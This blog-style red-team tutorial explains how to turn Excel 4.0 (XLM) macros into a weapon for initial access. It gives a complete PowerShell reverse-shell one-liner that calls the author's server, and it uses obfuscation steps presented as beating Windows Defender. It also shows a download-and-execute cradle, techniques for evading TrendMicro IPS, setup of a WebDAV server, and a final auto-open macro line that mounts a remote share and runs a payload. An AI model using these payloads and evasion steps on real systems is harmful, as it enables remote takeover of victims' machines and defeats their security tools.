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XLM (macro 4.0 ) considered an excellent technique for red team operations since XLM is challenging to analyze and make it hard for anti-virus solutions to detect it. In contrast, most of the anti-virus engines will detect VBA.

It seems natural to bypass primary anti-virus, but it is challenging to beat enterprise solutions that come with (HIPS) techniques to detect even commands being passed by XLM 4.0 macro. It immediately will raise an alert in case any malicious commands executed or malicious traffic sent from trusted software.

initial access with XLM

let's start preparing our payload with XLM macro 4.0

  • right-click on a selected sheet and click on insert dialog
  • choose excel 4.0 macro
  • type some basic commands to be executed
=exec("calc.exe")
  • rename cell title from A1 into auto_open that will allow a command to be executed when opening the document

weaponization of XLM

let's make our feet wet, and instead of executing a calc.exe , will use PowerShell payload to get a reverse shell. to avoid detection scenario by any basic anti-virus solution, we have to muddle a known PowerShell reverse shell one-liner

$client = New-Object System.Net.Sockets.TCPClient('lab.0xsp.com',444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

I am going to use invoke-obfuscate PowerShell script, Invoke-Obfuscation is a PowerShell v2.0+ compatible PowerShell command and script obfuscator. to install the script, git clone the repo into your working folder and execute following commands through PS

Import-Module ./Invoke-Obfuscation.psd1
Invoke-Obfuscation

beat windows defender

first off, let's load invoke-obfuscate PSD module and save the content of our PowerShell script into a file c:\tmp\poc.txt then set the working path inside obfuscator framework into a targeted folder

set scriptpath c:\tmp\poc.txt

drawing from obfuscator script, chooseToken with ALL option Great! We have successfully beaten windows defender, let's move on to the next level!

migrate payload with XLM

to do that, we have to use invoke-expression the cmdlet to download and execute obfuscated PowerShell reverse shell

powershell -c IEX (New-Object Net.WebClient).DownloadString('https://lab.0xsp.com/obf.txt')

let's also insert that command into XLM macro 4.0 perform a function and try to achieve it

=exec("powershell -c IEX (New-Object Net.WebClient).DownloadString('https://lab.0xsp.com/obf.txt')")

drawing

drawing Unfortunately, it has been detected by **Trendmicro IPS** .so we have to find a way to bypass Trendmicro intrusion prevention system

bypass TrendMicro intrusion prevention system

Intrusion Prevention rules can intercept traffic that is trying to exploit the vulnerability. It identifies malicious software that is accessing the network, and it increases visibility into, or control over, applications that are accessing the system. Therefore your computers are protected until patches that fix the vulnerability are released, tested, and deployed.

https://help.deepsecurity.trendmicro.com/intrusion-prevention.html

TrendMicro detected every malicious command, so first I have to understand which modules that are being detected, so I made a simple list as below

  • iex or download functions with PowerShell
  • usage of certutil to download or encode, decode files
  • usage of any PowerShell commands responsible for fetching content.

So as I see, TrendMicro can detect every kind of fetching remote content from Macro or VBA code. Later I have observed that fewer arguments you pass through the macro, the more you able to bypass it, but how you will do that to get a reverse shell with fewer commands ! and without the usage of any download functions? That's challenging, but nothing is impossible . as an idea comes into my mind to use WebDAV shares to execute a hosted script or binary. By mounting a remote drive, then run the script directly from the mounted drive. So the attack will be tricky, and I think I will be able to bypass. let's start doing it then

installation and configuring WebDAV

sudo apt-get update
sudo apt-get install apache2
sudo mkdir /var/www/webdav
sudo chown -R www-data:www-data /var/www/

then you have to enable WebDAV modules

sudo a2enmod dav
sudo a2enmod dav_fs

and for sure you have to make some modification on virtual host section

Alias /webdav /var/www/webdav 
<Directory /var/www/webdav> 
DAV On 
</Directory>

note: you don't need to enable authentication for WebDAV, or the attack will not work as expected because code length limitation on XLM inline code

Releasing the monster out of the cage

drawing

attack scenario

  • mounting remote WebDAV share.
  • Executing PowerShell ps1 with bypass execution flag.
=EXEC("cmd /k net use z: \\lab.0xsp.com\webdav&powershell -exec bypass -f \\lab.0xsp.com\webdav\ba.ps1")

after adding the previous code into our XLM, you will see that new drive with Z char has mounted, and execution of reverse shell is received successfully